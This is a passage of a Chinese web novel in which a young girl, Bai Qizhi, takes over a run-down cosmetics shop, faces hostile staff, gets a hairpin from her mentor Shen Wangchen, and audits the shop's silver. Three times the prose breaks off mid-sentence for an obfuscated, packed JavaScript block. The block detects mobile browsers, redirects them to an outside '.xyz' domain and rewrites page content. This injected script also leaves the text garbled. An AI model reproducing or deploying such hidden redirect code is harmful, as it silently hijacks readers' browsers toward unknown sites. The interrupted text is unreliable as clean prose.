闻她这不正经的话，仆从气红了脸：“李素染！”他大声道，“大爷的事也是你个妇道人家敢置喙的？大爷说了，白小姐就是如今香玉坊的新东家，从今以后你们几个皆要听从她的调遣，如有违者，也不必在此地带着了，早早卷铺盖滚蛋！” “哈！”　红衣女子从嗓子眼里挤出一声尖笑，便不再搭理他了，扭着腰肢往后头走。 “你去干什么？” “还能干什么？”她道，“后头货物堆积，我这个做掌柜的总得去清点清点吧？省得你跟狗似得去大爷那咬我一口，我得多冤呐……” 说完，不顾那仆从发火，便悠悠朝后头库房走去了。 气氛越发僵硬冰冷。 见状，那老伯奉上一杯茶来，好声劝道：“哎，别生气别生气，掌柜的就是那个脾气您也不是不知道，您又何必跟她计较呢？” “啪。”茶杯狠狠一磕柜面儿，仆从看向他，依旧没好气道，“莫伯，也不是我说你，那莫当时敢如此防狼，多半也有你的原因，若不是你溺爱他，他又怎会天天流连在那百花楼花天酒地？如今新东家到，他迎都不来迎一下，要我看，他也没必要在这儿待着了！” 这人分明是在拿他泻火，莫伯却不生气，依旧持着一副笑脸安抚他道：“您别生气，等他回来我一定好好收拾收拾他，这臭小子，等他回来我非得打断他的腿不成。” 知他老年得子爱子如命，仆从长长叹了口气，转身朝白栖枝躬身一礼道：“白小姐，您我已经带到了，府里还有事，小人就先回去了。” 白栖枝脑子还是懵懵的，听他这么说，点了点头，待她回过神想问些什么，那人早就已经不见影儿了。 现在在店中站着的，除了她和方才那位被称为“莫伯”的老伯，就剩下一位身着粉绿色衣裙的姑娘家了，她还跟没事人似得，摆弄着涂着蔻丹的指甲，仿佛方才什么都没发生过。 白栖枝上前，想问她些事宜，哪成想还没站到她跟前，这人朝她翻了个白眼，也朝着库房去了。 一时间，白栖枝如鲠在喉。 “唉，东家您别生气，他们啊，都是这儿的老人了，现如今这儿没客人来，他们日常懒散惯了，骤然来人管着，肯定不舒服。更何况您这年纪——啊，也不是说您年纪如何，东家能被大爷派来这香玉坊当东家，肯定是年少有为之人，但您年纪实在还是太小，恐怕一时不能让他们拜服，这才会……” 老伯语气缓慢却连珠炮似的说了一大堆，绕的白栖枝头都晕了，可看着他脸上噙着的和煦笑意又不好打断他，只得耐心听完。 “敢问莫老伯。”直到他絮絮说完一大堆，白栖枝才开口问道，“不知方才位姨姨和阿姊都叫什么？分别负责坊内的什么？” “啊，这个啊……”莫伯缓缓道，“方才那位先行而去的红裙女子名叫李素染，乃是店内掌柜，总管店铺经营诸事，包括采办原料、与供货者商谈、掌控店铺财务等，她啊从前便是个硬脾气，是个雷厉风行的主儿，只是后来咱这香玉坊没落了，她才变得如此懒散，望东家莫怪。” “至于方才那位绿衣姑娘，她啊，名叫紫玉，是店内的收货娘子兼制粉师，平日里负责接待各位女主顾，为其介绍胭脂水粉，提供一些介意，又因对色彩的搭配独具眼光，也就兼着制作胭脂水粉一职。别看她有些咄咄逼人，其实是个老练事故又嘴甜的姑娘，曾为香玉坊接连拉拢过不少女客，只是现如今铺子没落了，她心中有怨，这才不慎将火发到了东家您身上，还望您不要同她计较。” 见白栖枝用一副似懂非懂，又有些疑惑的目光看着自己，莫伯接着说道：“鄙人也算是这店里的老伙计了，因年龄大，被他们称上一声‘莫伯’。鄙人没什么能力，只负责整理铺子中的货物。因铺子里的伙计少，平日那些打杂、清扫、粗活重活都由鄙人来做，鄙人虽老，但力气还是在的，若东家有什么吩咐大可以交给鄙人去做，无须顾忌鄙人的身体。” “而方才那大人口中的莫当时便是鄙人的儿子了。鄙人老年得子，妻子又因年龄大生产而难产而死，所以我格外疼惜他这个儿子，谁知因我对其溺爱成性，竟叫他如今出落成这等花天酒地、目中无人的模样，明知今日东家要来，却还是跑去百花楼醉生梦死，待他回来，我定要打断他的腿？” “腿？打断谁的腿？”门外传来一个醉醺醺的声音。 说曹操曹操到，只见门外栽栽歪歪地走进了一个玉面郎君。 这人当真是长了一副好模样：丹凤眼、高鼻梁、薄嘴唇，面如冠玉、肤若凝脂，眼角处还有一颗小米粒似得泪痣，衬得一双多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856064|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情眸越发灼眼迫人。 此刻他正醺着，瓷白的面皮上浮上一层薄红，嘴唇绯然，更衬得他赏心悦目。 “爹，我……嗝……我回来了！”莫当时醉醺醺地走了过来，见店内站着个白栖枝，不由得“咦”了一声，随即薄唇微勾，俯身笑道，“哎呀呀，这是谁家的小女娘啊，生得这般好看，跟九天玄女似得，就是面上儿忒单调了些，跟来来来，让小生为您举荐店内几款胭脂、水粉、口脂，包您娇艳欲滴、活色生香……” 他说着，就要拥着白栖枝去看，莫伯一把拦下，怒色道：“莫当时！这是咱们的新东家！” “新东家？怎么又是新东家？”莫当时面露疑惑，不过下一秒就摆摆手开怀道，“哎呀没事，上个新东家还来买过呢！不打紧不打紧。” 白栖枝感觉自己好像听到了什么不得了的事： 上个新东家……沈哥哥？沈哥哥来买胭脂水粉？沈哥哥他…… 不对不对，应该是送人的吧？沈哥哥怎么可能会上妆呢？ 不能的不能的！ “怎么不能？” 沈忘尘朝镜中看了看，嘴上是为了掩盖病色新上的口脂，上完对镜瞧了瞧，兀地说了句题外话：“香玉坊的口脂调的越来越敷衍了，还不如前几年做的那些，他们懈怠了。” 林听澜将铜镜放回妆台上，又递来了手帕。 沈忘尘微微一笑：“怎的？不好看？”说着，还是接了帕子衔在唇瓣间一抿。 唇上颜色淡了，可手帕上却印上了一片绯红，瞧着格外搔人心痒。 沈忘尘悠悠叹道：“你啊，还是太小看枝枝了，她最是聪明，不会没有法子的。” 林听澜还是难忍：“可她到底年纪尚小、难以服众，保不住要受人刁难，更何况那几个都是跟着我爹的老人了，他们那个性子忘尘你是知道的，交给她打理，只怕是会闹得个鸡飞狗跳，还是……” “你怎么又信不过她了？”沈忘尘唇瓣上多了几分血色，比病中时更加的活色生香，“更何况既然要考验就需得用老人来考验，新人能做什么？新人只会说什么什么是，哪里能磨练得了她？更何况，我教了她这么多，若是她连这点考验都受不住，难免也太叫你我失望了，是不是？” 林听澜看着他倚在榻上的模样，“咕噜”咽了口口水。 忘尘说的也是，这点磨砺甚至不抵他阿父死时他所受的十分之一，反正她倔得很，呛了他这么多次，同那些人讨价还价的时候定不会使自己吃亏，他又在瞎担心什么呢？ 想着，林听澜原本紧揪着的心竟真的一点点被放回胸腔里了。 他说：“忘尘说的是，若是她这点考验都受不住，那她日后的路只会更加难走，待她失败，哪怕是她再想做什么事，为了护她周全，我这辈子都不会让她再出林府了。” ——若她失败，那她这辈子都别想再出林府了。 …… 35. 香玉 铺子里的情况已经不是一句“乱七八糟”就可以形容的了。 掌柜的在百无聊赖地咳瓜子，售货娘子在敷黄瓜片午睡，另一位售货郎君腰间还别着酒壶在那里醉眼朦胧地快哉快哉，四人中只剩下莫伯还在勤恳地洒扫理货，但这并不能给香玉坊带来收益。 都说少年不知愁滋味，可白栖枝光是站在柜台后托腮看着几人，就已经愁得要早生华发了。 脚边已经堆积了一地的瓜子皮，白栖枝愁容满面地看向李素染，开口道。 “打住。”没等白栖枝出声李素染就打断了她。 李素染掸了掸手上的瓜子仁衣：“东家，不是我说，以您这个年纪与资历，好听的我们叫您一声东家，不好听的您就是大爷派过来的一个打杂的，您又有什么资格来管我们几个？更何况，你以为大爷不知道咱们这香玉坊的状况？他就是知道，也从没管过我们，您说是为什么？要我说啊，您也少在这儿咸吃萝卜淡操心了，大爷他都不想要咱这香玉坊了，您又何必在这儿跟咱几个耗时间呢？一个毛都没长齐的小丫头，不如赶紧回去洗洗睡吧！” 说完，她并不给白栖枝开口反驳的时间，直接转过身背对着白栖枝，一副不肯同她多说的冷淡模样，扭着腰肢朝着库房的方向躲清闲去了。 “哎呀东家……”见李素染离开，莫当时悄悄凑过来俯身朝白栖枝耳朵眼儿里吹了口热气。 白栖枝痒得直往旁边躲。 周身酒气熏人，白栖枝尽力与莫当时拉开些距离，那人却不知羞似得直往她身旁凑。 “哎呀东家。”他媚媚开口，“不是我打击您，您还是死了劝掌柜的这条心吧，她呀，早就对大爷死心了，更何况是您呢？” 他这话说得有歧义，见白栖枝一脸讶异，他悠然一笑一笑道：“您想什么呢？不是那个死心，是这个死心——她恨死大爷放弃咱香玉坊了。” “放弃？”白栖枝不甚理解。 莫当时解释道：“您不知道吧？就是因为大爷年少时为了讨花楼里的姑娘们欢心，才成立了咱香玉坊，毕竟是自己手里头出的第一个铺子，那时候大爷对咱香玉坊还是上心的，从老妇人手里头要来了咱掌柜。那时候咱掌柜还是个如花似玉的美娇娘呢，好些人来咱这香玉坊买胭脂，都是为了瞧她一眼呢！也多亏了掌柜的，咱这香玉坊才一点点撑了起来。这么多恩客再加上花楼里的那些姑娘们，咱香玉坊当时虽不能说是名动一时，但来的那些个客人也足以踏破咱香玉坊的门槛了。” 闻言，白栖枝更不解了：“既然生意如此好，那为什么林……大爷还会弃了香玉坊呢？” 莫当时“噗呲”一乐，打趣道：“瞧您这记性，我不说了么，咱香玉坊成立之初就是为了讨花楼里的那些姑娘们欢心的。至于为什么会衰落呢？自然是因为咱大爷对花楼里的那些姑娘失去兴趣了呀。”他说道，“咱知道，您是从林府里出来的，那您应该知道大爷是金屋藏娇藏的是一位公子，当初大爷为了他，硬生生伤了满楼姑娘们的心，姑娘们伤心了，恨上了，自然就不来咱香玉坊了。再后来，大爷就将咱香玉坊交到了那位公子手里，镇上那么多胭脂店，谁又想来一个残废断袖开的铺子？原本的那些客官们嫌弃晦气，渐渐地也不再来了，无论掌柜的怎么挽留，他们都不再来了。” “要咱说啊，那位公子真是咱香玉坊的煞星，他一进林家，咱香玉坊的生意就一落千丈了，再加上大爷掌家后越发地不重视咱香玉坊，咱这小胭脂水粉铺子也就一点点没落了，没了钱，铺子里用不起人，也就将其余的伙计一批批地遣散了，只剩下咱四个守着这铺子苟延残喘，没准儿哪天咱四个也撑不下去了，这香玉坊就真真地要倒了。” 白栖枝：“那……没人找大爷去说么？” “说？说有什么用？”莫当时冷笑道，“当时掌柜的带着咱几个跪在大爷面前求大爷救救香玉坊呢？可大爷说什么？哦……不对，大爷什么也说，径直地就从咱几个身边擦过去了，搞得咱几个就像是当他路的落水狗一样，真真儿的好笑，呵呵呵……” 只是听他说，白栖枝就已经难过到即将心梗的程度—— 林听澜你做个人吧，你这样究竟对得起谁啊！！！ 不过既然现如今林听澜和沈哥哥将这铺子交给她打理，就说明他们还是记得这个铺子的，对吧？ 她总不能让这铺子白白地倒下去。 见白栖枝还没对这里的状况失望，莫当时又痴痴笑道：“要我说白小姐您也是真傻，竟真信大爷将咱这香玉坊交给您打理是为了让您带着咱几个东山再起，要我说啊，大爷没准儿是想趁机刁难您呢。您也别犯傻，若您真在府里头犯了什么过错，您朝大爷服个软就行了，您年纪小，又出落成这般神仙似的模样，大爷不会对您不心软的。语气在这儿跟咱们耗着，您不如回去继续过自己的好日子，更何况咱着香玉坊没准儿哪天就要倒了，您若不赶紧去寻下家，恐怕就真得跟咱四个一起卷铺盖滚蛋了，呵呵呵……” 来到香玉坊的第一天，白栖枝就吃了瘪，这一天来她除了和铺子中几位伙计打了个照面，以及了解了这铺子成立以来的来龙去脉外她什么也没做成。 刚燃起的斗志才将将聚成一个小火苗，就被一桶冰水浇个稀灭，说不丧气是假的。 由是，在面对沈忘尘问她今日如何的时候，白栖枝长长叹出一口气，几乎要将自己缩成一个小肉球。 沈忘尘依旧是一副笑眯眯的模样，安慰道：“慢慢来，不急的，万事开头难么，枝枝这才去一天就已经能和那几位老人搭上话，光这一点已经较他人好上许多了，不急的。” 急不急的也只是那么一说，林听澜不会放过自己的，方才来这里之前她已经和林听澜打过照面了。 那人说，只给她一个月的时间，若一个月她还不能让香玉坊恢复如初，自己就再不会放她出林府了。 恢复如初，他也真敢说啊，瞧香玉坊如今这样子，这一个月里她能开张就不错了，更遑论恢复如初呢？ 其实白栖枝也不是对做生意没信心，她是对自己和这几人相处没信心，莫伯倒不用说了，可铺子里其他三人都一副看不起她的模样，与他们沟通已经不是困难不困难的事了，而是他们根本不想同她沟通啊！ 唉—— 枝枝好难，枝枝好想抱头逃回家。 可枝枝已经没有家了。 “唉——”念及此，白栖枝又长长叹上口气，坐在榻上抱着膝盖，一副快要急哭了的模样。 沈忘尘瞧她这小模样止不住地想笑。 他将面前两盏茶右边那盏缓缓推至白栖枝面前，见白栖枝丧气地摇摇头，自己则不紧不慢地端起左边那盏笑着抿了一口，这才又悠悠开口引导道： “都说擒贼先擒王，倘若他们几个真不愿听枝枝的话，枝枝不妨拿他们几个里为首的那个开刀，再逐一攻心击破，让他们内里斗起来，那他们自然就都不到枝枝头上来了，这便是为主者当家做主的道理，枝枝又何妨一试呢？” 白栖枝到底是官家子女，又怎么会想不到这点呢？ 她依旧是一副丧气模样，弱弱道：“枝枝试过同他们谈心，可他们都不愿意同枝枝讲话，枝枝又有些笨笨的，就是想攻也攻不进去。枝枝攻不动了，枝枝实在是没有头绪了……” 沈忘尘道：“压一压总会有机会的。” 白栖枝道：“压不住的，他们是坊间老人了，论资历论能力枝枝都比不过他们的，这样就算枝枝是沈哥哥和林哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862170|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥派过去的人，他们也不会听枝枝的，对吧？” 说到最后两个字时，她蓦地抬眸，一双如新剥的葡萄般水汪汪地大眼睛一瞬不瞬地看着沈忘尘，完全是一副示弱的模样。 沈忘尘当即便明白是怎么一回事了——小丫头这是拐着弯儿地让他放权呢。 她这弯弯绕绕地说了一大堆，不是因为她没有办法，而是她手中没有实权，有些事就算想做也未必做得下去，所以才来她这里示弱，想从他这里讨些当东家的实权呢！ 既然是他一手教出来的小徒弟，他除了溺爱还能做什么呢？ “枝枝。”沈忘尘墨澈双眼里温柔的笑意愈发浓重。 他朝妆台上望去，温声道：“去帮沈哥哥把铜镜旁左手边第二格抽屉中的东西拿过来。” “嗯。”白栖枝乖顺地应了，“哒哒哒”地跑过去找，又“哒哒哒”地跑回来，摊开手掌，躺在手心里的物件直直晃入沈忘尘的眼。 那是根玉兰花样式的流苏簪子。 ——春风得意马蹄疾，一日看尽长安花。 唉，少年人么，情到浓时难免会做些出格的事来。 当年他与林听澜正值情浓，那人见他发饰朴素，便差这淮安最好的工匠为他做了这根簪子。 做好的那天，林听澜亲手当着众人的面为他簪在发间。 那人说这玉兰花衬他，戴上了就不许他再摘下。 他那时也是少年心气儿，仗着那人的爱带着这簪子招摇撞市，直到被打断了腿，他才觉得自己其实一点也配不上这簪子，便一直小心收着。直至今日—— “枝枝，过来。” 沈忘尘朝自己身侧的空地拍了拍，白栖枝顺从地坐过去。 只见沈忘尘轻柔地抚着他的发，眼底满是怜爱之意。 “枝枝自从入了林府后便再没有过什么上好的首饰吧？”沈忘尘将她的发髻拆开，看着她鸦羽般披在身后的长发，将五指没入她发间轻轻捋着，温声道，“这簪子原是沈哥哥从前贴身之物，只是后来沈哥哥腿脚不好不再出门，便也将它冷落了。如今沈哥哥就将这发簪赠给枝枝，暂且当做枝枝成为香玉坊小东家的贺礼，待日后沈哥哥寻到了好的工匠，再给枝枝打一个新的，好不好？” 他说着，轻轻卷了白栖枝的发，小心翼翼地绾着。 沈忘尘许久没有为人绾发了。 少女的长发如同蚕丝般顺滑，在他指尖软软地缠着，显得格外乖顺，甚至比檐牙下的蛛网还易绞断。 这样软糯的性子，沈忘尘怎么会不喜欢呢？ 木簪渐渐没入如墨黑发间，上头的流苏甚至还沉浸在被他抚摸的余韵中轻轻晃动。 “枝枝，转过来。” 白栖枝转头，就见着沈忘尘的眼神格外温和，如同春日新雪，般一触即化。 怎么会不温和呢？ 光是这样看着，沈忘尘就已经心知肚明了—— 少女青涩的眉眼中已经悄然融入了他的模样，假以时日，这幅躯壳里居住的就不再是她白栖枝，而是他沈忘尘了。 当年那个风华无俦的沈忘尘已经死在了那个受尽折辱的二十二岁，而现在，他又重生在了这幅方及豆蔻之年的躯壳了。 光是这样看着自己亲手将当年的自己一点点在这幅躯体里重塑唤醒，身为本尊的他，面对年轻时的自己，又怎么会不温和呢？ “对了枝枝。”视线下滑，沈忘尘看着白栖枝的腰椎，突然开口，像是在说题外话一般，轻声问道，“身上的伤可还痛么？” 白栖枝当即心领神会：“啊……那个啊……” 感受着发间柔柔的触感，她乖软地笑着，温声答道： “完全不痛。” …… 36. 贽礼 那个啊……完全不痛。 好了伤疤忘了疼。 翌日，白栖枝是拎着一大堆东西来的香玉坊。 “昨天来的时候竟忘了给大家带贽礼，我今天一大早就去街上给大家买了些小玩意，因此来得有些晚，还请大家勿怪。” 白栖枝笑起来很好看，软软糯糯的，光是看着这张脸，人们就很容易原谅她的过错。 众人凑上前来一看—— “这个海棠发簪是送给李掌柜的，我昨日一来，发现李掌柜头上都没有什么像样的发饰，这怎么能成？于是今日一早便去了玲珑阁去买了这枚海棠发簪，想着这物件若是戴在李掌柜头上，定能将掌柜的衬得出尘脱俗！” “这盒五香糕是我让春花姐一早去宋记糕点铺里卖的，本来宋记冬日里是不卖这五香糕的，但紫玉阿姊如此貌美加上咱们铺子本就是做胭脂水粉生意的，再送那些未免俗气，这才让春花姐去宋记让他们现做，听说宋记的五香糕最为软糯，又有着美容养颜的功效，阿姊你吃吃看，若是有用，我明儿再让宋记做一盒给您送来。” “莫当时哥哥，枝枝也不知道您喜欢什么，不过在玲珑阁的时候，我瞧见这香囊倒是精致得很，里面装得是檀香，都说檀香送檀郎，像莫哥哥这般风流倜傥的人配这个，当然是再好不过了。” “至于莫伯，您是这儿的老人了，我一时间还真想不到能送您些什么。这是我从林哥哥那里讨来的茶叶，是去年新下的白茶，若不嫌弃，还请您收着，就当是我这新东家送您的见面礼，日后还望您多多帮衬，不然枝枝一个人肯定要忙得手忙脚乱了。” 白栖枝一张小嘴极甜，哄得在场诸位气顺心悦，连带着看她的眼神都没那么刻薄了。 说完这一大串，白栖枝又伸手拢了拢鬓发道：“论资历，枝枝自然是比不上在场的诸位，日后还请诸位多多帮扶枝枝，共同让咱们这香玉坊恢复如初。” 她抬手时似是不经意般地摸了摸头上的玉兰簪子，衣袖落下，露出细弱手腕上的朱砂手镯，更衬得头上玉雕的玉兰花精致高雅、清新脱俗。 众人本没在意她今儿个带的是什么，直到她抬手去摸，众人顺势去看，心下皆是一惊。 旁人不知道他们还不知道？ 昔日大爷领着那位公子来的时候，那人头上簪的正是这根玉兰流苏簪子！ 现如今它出现在这位小姑娘头上，这说明什么？ 要么是大爷移情别恋爱上了眼前这位姑娘家——不过这事儿不太可能，毕竟他们不是傻子，时至今日大爷还在进屋藏“娇”的事儿他们也不是不知道，移情别恋是不可能了，那就只能是另一种说法。 大爷和那位是真真儿把香玉坊的经营权归拢到这位手上，无论他们怎么不承认，现如今这位看起来仍是豆蔻之年的小姑娘是真的成了他们的主子，并且以后也永远是他们的主子了。 谁也不知道林听澜究竟是怎么想的，当然，大爷的事自然由不得他们置喙。 可那位就不一样了，惹不起他们还躲不起么？ 若不是他香玉坊怎能沦落至此？他就是个煞星，专门克他们香玉坊来了！ 如今这位小丫头受了他的命，那也就是他们香玉坊的煞星，她送来的东西他们是万不能要的！免得受了晦气，日后做事都倒霉！ 要么说掌柜的就是掌柜的，她眼风一扫，三人团结地将手头的东西往桌子上一拍。 莫伯原是舍不得的，好歹是一片心意，但见三人齐齐看向他，他也不得不将手中的东西放回桌上，拱手道：“谢东家一片好意，只是这东西，我们不能要。” 白栖枝佯装不解道：“哦？为什么？是枝枝买的东西不合大家心意吗？” “这……”莫伯想解释，但见李素染斜乜了他一眼，他便也只能无奈道，“这事儿我们也不好同您说，但这东西我们实在是受不住，您还是拿回去吧。” “那好吧。”白栖枝也不同他们讨价还价，只将东西往柜台后面一放，“我知道大家见我年纪小不放心也不服气我，不过这也是人之常情，谁又愿一个小辈管到自己头上呢？不过也没关系，等日后枝枝和大家熟悉了，或者大家接纳枝枝了，枝枝再将这些东西送回来也不迟。” 说完，她起身拍了拍并未沾染灰尘的手，耐心问道：“那诸位？今日可要开张？” “切，什么也不懂的小丫头还指使上我们了。”紫玉翻了个白眼，挽着李素染的胳膊道，“素染姐，我跟你说啊，昨儿李公子他……” 两人的身影渐行渐远，白栖枝又回头看向莫当时：“莫哥哥……” “哎——东家，对不住啊，我今儿约了百花楼里的半夏姑娘要去吃酒呢。我可不是没干活儿啊，要知道做咱这胭脂水粉生意最重要的老主顾就是花楼里的那些姑娘们了，我这次去也是为了给咱香玉坊开张呢！想必东家您也能理解吧？” 说完，莫当时也脚底抹油溜之大吉了。 在场只余下白栖枝与莫伯两人。 看着自己临阵脱逃的儿子，莫伯刚想开口道歉，白栖枝抬手做了个“止”的动作。 “既然大家都不想开张，那莫伯您今日也没必要在这里磋磨时间了，我今儿给您放个假，您好好休息休息，没准儿过两日我还有需要您的地方，想着让您帮衬呢。” “哎呦东家，哪里有帮不帮衬之说啊，为您做事都是我应该的。只不过，”莫伯思索半天，到底还是凑上来，同白栖枝小声道，“东家，我同您说句实话吧，大家今个儿真的不是有意要针对您的，您千不该万不该，不该带那位沈公子的东西来啊。” “我知道的。”白栖枝微微一笑。 昨日从莫当时口中她就已经知道大家忌讳沈忘尘，所谓不破不立，那她今日就偏要带沈忘尘的东西来给大家看，就是为了挑起大家对她的厌烦之心，至于之后的么…… “莫伯，容我同您问一句。”白栖枝道，“咱这香玉坊的账目库银可是一直交由李掌柜打理？可还有旁人插手？” 莫伯道：“回东家，这事儿一直都是李掌柜负责，我们不曾沾手。” 那就好，白栖枝在心里暗道。 莫伯不解：“不知东家问这事儿是为了什么？” 白栖枝道：“没什么，只是我毕竟是大爷钦点的新东家，这香玉坊此前经营所得账目我这个新东家自然要好好清点清点，若是出了什么岔子问一问也好追责不是？” 她最后一句话说得极轻，又夹着笑，隐隐已经有了沈忘尘平日里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868663|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意味，可她偏不知道，只这么兀自笑着，一眼看去令人毛骨悚然。 莫伯自然也不知道她这模样是沈忘尘平日里耳濡目染出的结果，骤然见她一笑，心里暗道这怎么可能是一位豆蔻少女所能摆出的神色？ 如此精于算计又暗含威压，恐怕这位新东家的来历不简单哪！ 莫伯暗自在心里抹了把汗，镇定道：“东家，咱这香玉坊的账目一直是由李掌柜打理，李掌柜未曾婚配，咱香玉坊就是李掌柜的家，更何况李掌柜她素来精明聪慧，想来必不能在这上头出差错，还请东家放心。” 白栖枝微微一笑：“可这世上哪有从不出差错的人呢？” 气氛骤然凝滞。 直到白栖枝轻笑一声，这才打破了两人之间死一般的沉寂。 白栖枝轻声道：“劳烦莫伯替我知会李掌柜一声，明儿我要亲自钦点咱香玉坊的账目库银，还请她今日将坊内一切打点好，若是出了差错，我也只好去林哥哥那里说上一遭，至于之后会发生什么事，一切还得看林哥哥的心情了。” 说完，白栖枝又打量了一下坊内四周，持着礼数欠身一礼道：“既然今日坊内无法开张，那枝枝就先回去了，放心，枝枝也不是不明事理，今日之事沈哥哥与林哥哥那里我不会透露半分，可若坊内账目出了什么差错，那我也只能告到林哥哥那里请他裁决了。莫伯再会。” 从一开始的“大爷”变作如今的“林哥哥”，其中变化实在是耐人深究。 只不过白栖枝并不给人深究的机会，说完，便轻飘飘地走了，留下莫伯一个人在铺子里发怔。 这位白小姐实在是不一般啊…… 看着白栖枝愈走愈远的背影，莫伯摇头叹息一番，忽地意识到了什么—— 她方才那一番话，难不成是坊内账目出了什么问题？但不能啊，这坊内除了他们四人再无其他伙计了。李老板她又素来忠心谨慎，不可能在库银上动手脚，难不成…… 是有什么风吹到大爷耳朵里，才派这位新东家来试探他们了？ 念及此，莫伯内心暗道一声不好，一跺脚，转身匆匆去找李素染去了。 他来时，紫玉正挽着李素染的手犯花痴。 好心情被打断，紫玉用手一圈圈勾着自己的发梢刚要发牢骚，就见着见莫伯面色匆忙，似有难言之隐，赶紧问道：“莫伯，怎么了？吓成这个样子，难不成那位小东家给您脸色瞧了？” 此时正值隆冬，莫伯擦了擦额头上豆大的汗水道：“没有，只是这位新东家说明日要核对账目与库银，要掌柜的今日打点清楚明儿交给她核对呢。” “不过是个毛都没长齐的小丫头，还真把自己当东家了？还敢吆喝我们掌柜的！”紫玉愤愤不平。 她晃了晃李素染的手道：“掌柜的，要我说，她这般跟你过不去你就该给这小毛丫头一点颜色看看，免得她日后骑在咱们头上拉屎，不如……” “打住。”李素染一手封了她的嘴，悠悠道，“东家核对账目本就是应该的，若咱们因此针对她，她再一口告到大爷那里，那咱们几个还有的逃？要我说她愿意核对就让她核对去，我倒是要瞧瞧，有我李素染李掌柜坐镇，她一个小丫头，究竟能瞧出来些什么！” …… 37. 问责 “这账目，核对不上啊……” 放下手头的账簿，白栖枝柔柔看向李素染：“账上写着香玉坊尚有一百八十两库银，可我方才清点过后却发现少了十两，不知李掌柜是将在这十两银子放到了哪里？亦或是哪日采买时李掌柜忘了记账，这才叫坊内库银有缺……” 说到这儿，她话音戛然而止，拧着细眉，抬头一点点朝李素染面上瞧，脸上满是关心的模样。 “不可能！掌柜的记账素来仔细！不可能使库银有缺。”李素染尚未说话，紫玉便急急道，“莫不是你这小丫头在库房内做了什么手脚，想要冤枉我们掌柜的！别以为我们不知道你打的什么心思，你就是看掌柜的不顺眼想把她赶出去！我告诉你，你要是敢动掌柜的一下，我紫玉定叫你吃不了兜着走！” 她说得咄咄逼人，吓得白栖枝眼里登时盛了一汪泪。 “这怎么会是枝枝动的手脚？”一滴泪跌出眼眶，白栖枝赶紧拿手抹去，委屈道，“自打来了咱这香玉坊，除却今日核对账目，我从未进过库房半步，又怎么可能动手脚？阿姊这话，枝枝实在是听不明白，难道在阿姊眼中，我竟是这般不堪的东家么？” 见她这般，紫玉更是窝火，怒骂道：“呸！收起你这幅南曲班子的模样吧，不过说你一句你倒还掉上泪了，你若是觉得委屈，大可以出走不干啊！分明是你非要赖在我们这香玉坊里不走，现在还要摆出一副是我们难为你的委屈模样，你装给谁看！！！” 白栖枝佯装一副受不住的模样，勉强撑着柜台站着，一双星眸里眼泪大颗大颗地往外掉，瞧上去好不委屈。 白栖枝自小便是这个毛病，一旦情绪激动便会止不住地掉眼泪，她曾经最烦自己这点，可等到从白府出来后，偏偏这幅样子又最好用，她便也就顺手用了。 莫当时最见不得姑娘家哭了。 他赶紧跑出来同紫玉打圆场道：“哎哎哎，别生气别生气，东家说的对，她这几日都没迈进过库房一步，怎么可能是她动的手脚呢？”说完，又转头安抚白栖枝道，“东家您也别着急，李掌柜素来谨慎，店中凡是流水她都有记在账上，至于库银，她更是日日清点，不会有差错的。” 白栖枝柔柔道：“当真……日日清点么？” 她这一反问，倒叫莫当时说不出话来—— 从前倒是有日日清点，可后来香玉坊没落了，清点的次数也就少了些，但一周内还是会有三四天清点的，但时至今日，他们这香玉坊就没开过多少次张，值得清点的次数更是少之又少，连带着他们也都懈怠了，府内那点子库银他们一个月内清点上五六次就已经算尽忠职守了，哪里又值得日日盘算呢？ 吃了个瘪，莫当时也败下气场来，但李素染平时待他不错，他见此路不通，便寻他路来，弱弱道：“不过，也许是您清点错了也未可说，十两银子数小，没准您着急翻账簿一眼看漏了呢……” 白栖枝道：“我的本领都是沈哥哥教得，莫哥哥这意思难不成是沈哥哥教我教错了？” 莫当时：“可不敢可不敢！我、我什么都没说，东家明鉴啊！” 他又不傻，平时他们再怎么烦那位只在心里说道说道也就罢了，谁敢真拿到明面上说呢？那人可是大爷宠在心尖儿上的人，他这话要是让大爷知道，那他这条命还要不要？ 可不能说啊！ 气氛霎时间凝重起来。 还是身为当局者的李素染第一个打破僵局。 “好了，我都没急你们急什么？”她从柜台上拿了账本，放在手头细细地翻着，“东家说我失职我便是失职，不过东家，您也才来香玉坊没几日，可我们却是香玉坊的老人们了，您骤然说我失职，怕是有些不妥。不如这样，我同您一起再核对一遍账本，这样一来既能服诸位之心，又能让我知道自己究竟错在哪里，您看如何？” 这正是白栖枝所求的。 “好啊。”眼圈里还转着盈盈泪花，白栖枝吸了吸红红的鼻子，唇角微微扬起的一抹笑，“那就还请李掌柜多多指教了。” 